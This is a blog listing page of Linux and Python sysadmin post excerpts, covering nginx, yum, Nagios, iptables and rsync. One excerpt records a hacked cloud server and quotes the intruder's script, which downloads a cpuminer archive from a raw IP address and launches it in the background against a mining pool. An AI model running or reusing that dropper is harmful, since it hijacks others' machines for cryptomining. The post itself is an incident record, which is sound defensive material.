自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

王文铮的专栏

配置我的人生,升级我的梦想,发布我的经验

  • 博客(115)
  • 收藏
  • 关注

转载 Python3,命令交互式,无法使用退格键、方向键

解决办法一: 手动安装: sudo yum install libncurses5-dev 下载: https://pypi.python.org/packages/source/r/readline/readline-6.2.4.1.tar.gz#md5=578237939c81fdbc2c8334d168b17907 pypi地址:https://pypi.pyth

2016-09-06 10:56:03 3687

转载 How to install tcpping on Linux

A common way to measure network latency to a remote host is by using ping utility which uses ICMP echo request and reply packets. In some cases, however, ICMP traffic is blocked by firewalls, which

2016-09-01 10:29:41 1295

转载 yum源配置与使用

转自:http://www.cnblogs.com/mchina/archive/2013/01/04/2842275.html一、yum 简介  yum,是Yellow dog Updater, Modified 的简称,是杜克大学为了提高RPM 软件包安装性而开发的一种软件包管理器。起初是由yellow dog 这一发行版的开发者Terra Soft 研发,用pyt

2016-08-19 13:48:08 444

转载 How to unblock an LDAP blocked user in Gitlab

It seems that if an LDAP user gets "LDAP blocked" intentionally or by some glitch in Gitlab then the user cannot be unblocked in the Web interface of Gitlab. This can be solved as follows on Linux.L

2016-08-12 14:48:21 1865

转载 nginx状态监控

转自:http://blog.csdn.net/luxiaoyu_sdc/article/details/7333416通过查看Nginx的并发连接,我们可以更清除的知道网站的负载情况。Nginx并发查看有两种方法(之所以这么说,是因为笔者只知道两种),一种是通过web界面,一种是通过命令,web查看要比命令查看显示的结果精确一些。下面介绍这两种查看方法No1、通过浏览器查看通

2016-05-19 14:24:35 289

转载 一篇介绍通过nginx运行flask 的文章

Serving Flask With NginxSEP 12TH, 2013Having spent the majority of my career in the Microsoft stack, lately I’ve decided to step out of my comfort zone and to dive into the world of open sou

2016-05-16 16:07:11 1614

原创 python 删除某个目录及子目录下所有过期文件

import logimport osimport time# 递归删除某个目录下所有过期文件# expiredTime expressed in day#def cleanfile(path,expiredTime): for obj in os.listdir(path): objpath = os.path.join(path,obj)

2016-04-08 13:01:00 757

转载 python文件操作总结(转)

python中对文件、文件夹(文件操作函数)的操作需要涉及到os模块和shutil模块。得到当前工作目录,即当前Python脚本工作的目录路径: os.getcwd()返回指定目录下的所有文件和目录名:os.listdir()函数用来删除一个文件:os.remove()删除多个目录:os.removedirs(r“c:\python”)检验给出的路径是否是一

2016-04-08 12:38:44 330

原创 windows环境下python安装 pymssql 模块

mssql是python程序用来连接微软mssql的组件之前安装总是有各种坎坷,下面记录一下安装过程:基本的安装顺序是:1.安装python2.安装freetds http://www.pymssql.org/en/latest/freetds.html#windows3.安装pymssql这步很关键,以前直接用pip install pym

2016-03-28 16:22:11 14123

原创 解决64位win7环境下 python的 No module named 'win32com' 问题

如题:需要使用python操作windows服务器(e.g..磁盘空间)import wmi后 报错No module named 'win32com'经查后发现需要先安装 pywin32Python for Windows Extensionspywin32-219.win-amd64-py3.5.exe安装后顺利使用 wmi

2016-03-22 16:08:46 5849 1

转载 学习-可伸缩网络结构(一)

转自 http://zh.linuxvirtualserver.org/node/9可伸缩网络服务的定义可伸缩性(Scalability)是在当今计算机技术中经常用到的词汇。对于不同的人,可伸缩性有不同的含义。 现在,我们来定义可伸缩网络服务的含义。可伸缩网络服务是指网络服务能随着用户数目的增长而扩展其性能,如在系统中增加服务器、内存或硬盘等;整个系统很容易被扩展,

2016-03-16 09:21:22 359

转载 linux-每日学习-网络-iptables-nat

转自:http://lustlost.blog.51cto.com/2600869/943110NAT一般情况下分为SNAT,DNAT和PNAT此篇主要讲述的是使用iptables配置NAT,所以这3种NAT的区别和应用场景就简单的说明一下 SNAT:源地址转换目标地址不变,重新改写源地址,并在本机建立NAT表项,当数据返回时,根据NAT表将目的

2016-03-14 14:25:24 329

原创 linux每日学习-系统-sysctl(2016.3.11)

sysctl(8)-sysctl - configure kernel parameters at runtimeDescriptionsysctl is used to modify kernel parameters at runtime. The parameters available are those listed under /proc/sys/. Procfs is

2016-03-11 10:29:16 312

原创 linux每日学习知识点

sysctl(8)-sysctl - configure kernel parameters at runtimeDescriptionsysctl is used to modify kernel parameters at runtime. The parameters available are those listed under /proc/sys/. Procfs is

2016-03-11 09:46:43 100

原创 python 操作 mssqlserver 数据库遇到备份数据库语句的问题

背景:使用pymssql模块操作mssqlserer数据库,前期测试 select,update语句都可以实现。但在执行 BACKUP DATABASE [test] TO  DISK = N'F:\sqlbackup\test.bak' 数据时提示,File "pymssql.pyx", line 467, in pymssql.Cursor.execute (pymss

2016-03-07 16:26:39 2155

原创 批量ping一个IP列表,监测是否可用的超小脚本

首先需要的是一个纯文本的IP列表127.0.0.110.2.2.110.2.2.3保存成iplist.txt然后创建ipverify.sh文件#!/bin/bashfor i in `cat $1`doping=`ping -c 1 $i | grep loss | awk '{print $6}' | awk -F "%

2016-03-05 04:57:47 3261

转载 linux 关机命令及流程

在linux下一些常用的关机/重启命令有shutdown、halt、reboot、及init,它们都可以达到重启系统的目的,但每个命令的内部工作过程是不同的,通过本文的介绍,希望你可以更加灵活的运用各种关机命令。  1.shutdown  shutdown命令安全地将系统关机。 有些用户会使用直接断掉电源的方式来关闭linux,这是十分危险的。因为linux与windows

2016-03-04 22:51:19 394

转载 ext3与ext4主要区别

转自:http://www.linuxidc.com/Linux/2012-03/56865.htm很长一段时间以来,ext3是很多linux发行版默认的文件系统,现在ext4已经发布,并且已经有发行版开始使用ext4作为默认的文件系统了(其实最初的时候ext4是作为ext3的扩展,但是为了保证ext3的稳定性等原因,很多人反对直接对ext3进行扩展,所

2016-03-04 20:55:03 17123

转载 红帽/CentOS ext4无法格式化大分区

先膜拜一下大神,再转发转自:http://blog.csdn.net/xztjhs/article/details/40182581红帽/CentOS 6.5的e2fsprogs版本为1.41.12较低,无法创建16TB以上的文件系统下载最新的e2fsprogs,编译安装ftp://ftp.ntu.edu.tw/linux/kernel/people/tyt

2016-03-04 20:44:23 1610

转载 开启linux的路由转发功能

1.IP-Forwarding,IP转发。一种路由协议。IP转发是操作系统的一种选项,支持主机起到路由器的功能。在一个系统中含有两块以上的网卡,并将IP转发选项打开,这样该系统就可以作为路由器进行使用了。2.echo "1">/proc/sys/net/ipv4/ip_forwardThe '1' in "/proc/sys/net/ipv4/i

2016-02-24 10:42:11 1056

转载 配置LVS + Keepalived高可用负载均衡集群之图文教程

负载均衡系统可以选用LVS方案,而为避免Director Server单点故障引起系统崩溃,我们可以选用LVS+Keepalived组合保证高可用性。       重点:每个节点时间都同步哈!C++代码[root@DR2 ~]# ntpdate time.windows.com && hwclock -w  1、环境简介:1)虚拟机:VMware

2016-02-24 10:20:22 1492

转载 网关协议学习:CGI、FastCGI、WSGI

转自(http://www.biaodianfu.com/cgi-fastcgi-wsgi.html)CGICGI即通用网关接口(Common Gateway Interface),是外部应用程序(CGI程序)与Web服务器之间的接口标准,是在CGI程序和Web服务器之间传递信息的规程。CGI规范允许Web服务器执行外部程序,并将它们的输出发送给Web浏览器,CGI将Web的一组简

2016-02-23 09:56:20 343

转载 nginx location 匹配顺序

转自(http://www.jb51.net/article/47761.htm)一、 location 的匹配符1.等于匹配符:=等于匹配符就是等号,特点可以概括为两点:精确匹配不支持正则表达式2.空匹配符空匹配符的特点是:匹配以指定模式开始的 URI不支持正则表达式3.正则匹配符:~正则匹配符是可以使用正则表达式的匹配符。不过这里要强调的是,一般

2016-02-23 09:04:03 811

原创 find 查找本目录文件夹,并且带目录结构拷贝文件

find  -maxdepth 1  -mindepth 1  -type d -mtime -7 -exec  cp -r {} ../new  \;该方法目前还只适用于明确目录的修改时间,对于查找文件后按目录结构拷贝,还需要再探讨,目前试了用find命令没什么好办法,或者用rsyn或者用脚本实现

2016-01-13 08:41:56 1369

转载 shell 中if 条件判断汇总记录

转自:http://blog.sina.com.cn/s/blog_4c197d420101bthf.html一、if的基本语法:if [ command ];then   符合该条件执行的语句elif [ command ];then   符合该条件执行的语句else   符合该条件执行的语句fi二、文件/文件夹(目录)判断[ -b FIL

2016-01-08 08:27:27 468

原创 记录 linux 云主机被木马入侵

在/tmp 文件夹下有一个脚本1.sh内容如下wget http://211.79.60.17/project/cpuminer/pooler-cpuminer-2.4.2-linux-x86_64.tar.gztar -xzf pooler-cpuminer-2.4.2-linux-x86_64.tar.gzsetsid /tmp/minerd -a scrypt  -o 2

2016-01-04 15:41:42 141

转载 Nginx 的启动、停止、平滑重启、信号控制和平滑升级

Nginx     ● Nginx 的启动         假设 nginx 安装在 /usr/local/nginx 目录中,那么启动 nginx 的命令就是: Command代码  [root@localhost ~]# /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf  

2015-12-30 18:04:38 781

原创 从数据库用户表在fastdfs文件系统批量创建头像一例

1. 创建脚本 batchAvatar.sh#!/bin/bashcat user.txt | while read linedonewname="testUserAvatarMasterPath888_$line.png"if [ ! -f  "$newname"   ];thencp defaultUserAvatar.png  $newnamefido

2015-12-25 14:09:12 696 1

转载 nagios 监控 mysql 主从同步状态

转自 :http://blog.163.com/ly_89/blog/static/18690229920111129113543770/nagios 监控 mysql 主从同步状态作为一名运维人员,对于 Mysql 的主从同步我们并不陌生。我们如何能得知主从库是否在实时的同步呢?每隔一分钟登录到数据库到数据库执行 show slave status\G  显然是不靠谱。不要忘记我

2015-12-22 13:57:31 1390

转载 nagios(二)配置

六、配置NagiosNagios 主要用于监控一台或者多台本地主机及远程的各种信息,包括本机资源及对外的服务等。默认的Nagios 配置没有任何监控内容,仅是一些模板文件。若要让Nagios 提供服务,就必须修改配置文件,增加要监控的主机和服务,下面将详细介绍。6.1 默认配置文件介绍Nagios 安装完毕后,默认的配置文件在/usr/local/nagios/etc目录下

2015-12-17 08:58:47 395

转载 nagios(一)安装

Linux下Nagios的安装与配置一、Nagios简介  Nagios是一款开源的电脑系统和网络监视工具,能有效监控Windows、Linux和Unix的主机状态,交换机路由器等网络设置,打印机等。在系统或服务状态异常时发出邮件或短信报警第一时间通知网站运维人员,在状态恢复后发出正常的邮件或短信通知。  Nagios原名为NetSaint,由Ethan Galst

2015-12-17 08:53:40 277

原创 mysql导入一例慢实战

最近有个discuz 在线论坛的数据库需要到在线下

2015-12-10 09:00:00 101

原创 linux 链接文件

硬链接文件的inode号相同使用 ls -il 可以查看第一列就是inode号,第三列是文件被引用的次数查找硬链接 先找到inode 再使用 find /etc -inum 147181 查找INODE相同的 另外文件

2015-12-04 09:37:00 111

原创 awk 用法随手记

1. netstat 的状态统计方法1netstat -n | awk '/^tcp/ {++S[$NF]} END {for (a in S) print a,S[a]} '方法2netstat -ant | awk 'NR>=2 {print $NF}' | sort | uniq -c2.统计nginx 日志中某个链接的方法次数

2015-12-04 09:24:42 79

原创 centos rsync 实践

1.      现在安装 rsync  cd/usr/local/src/rsync-3.1.1.tar.gz  tar –zxvf rsync-3.1.1.tar.gz cd  rsync-3.1.1 ./configure make make install  2.rsyncd.conf配置文件默认没有这个配置文件,默认rsync 从 /et

2015-12-03 14:27:13 445

原创 nginx 日志分析

初学AWK,使用AWK 分析nginx的 access.log需求如下,统计网站下 /yzhs/fensitong/index.html 链接每日的访问量。cat access20151126.log | awk  '$7 ~/\/yzhs\/fensitong\/index.html/ {i++} END {print i}'增加一个筛选条件后

2015-11-30 10:51:42 81

原创 ssh暴力破解攻击

今天因为偶然发现redis服务不能正常工作了登录上一看,发现redis.conf配置文件都不对了,回想起最近说过redis漏洞攻击。赶紧修改防火墙,把redis对外访问给禁掉了。然后又去查看 /var/log/secure 发现有很多攻击行为

2015-11-24 15:37:35 177

原创 shell 脚本中循环未能修改循环外变量的问题解决

在写一个监控脚本中发现问题cur_status="123"cat status_code | while read code_linedohttp_code=`echo $code_line | awk -F =  '{print $1}'`http_sub=`echo $code_line | awk -F = '{print $2}'`i

2015-11-19 14:17:41 2924

原创 linux 批量替换文件名

需求:有一部分  111.jpg  112.jpg  113.jpg   114.jpg 这些文件现在需要批量替换 成  111_new.jpg  112_new.jpg  113.jpg 测试了两种方法都可行第一种方法用rename 命令rename   .jpg  _new.jpg   *.jpg第二种方法用shell 脚

2015-11-12 17:52:34 329

转载 linux 快速删除大量文件方法(转)

Linux 快速删除大量小文件方法    当我们在linux系统中要删除数万或者数十万甚至数百万的文件时使用rm -rf *就不太好用,因为要等待很长一段时间。在这种情况之下我们可以使用linux系统命令rsync来巧妙的处理。rsync实际上用的是替换原理,处理数十万个文件也是秒删。    1. rsync安装,有些系统默认安装有该命令ubuntu系统:sudo apt-ge

2015-11-11 10:26:57 794

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除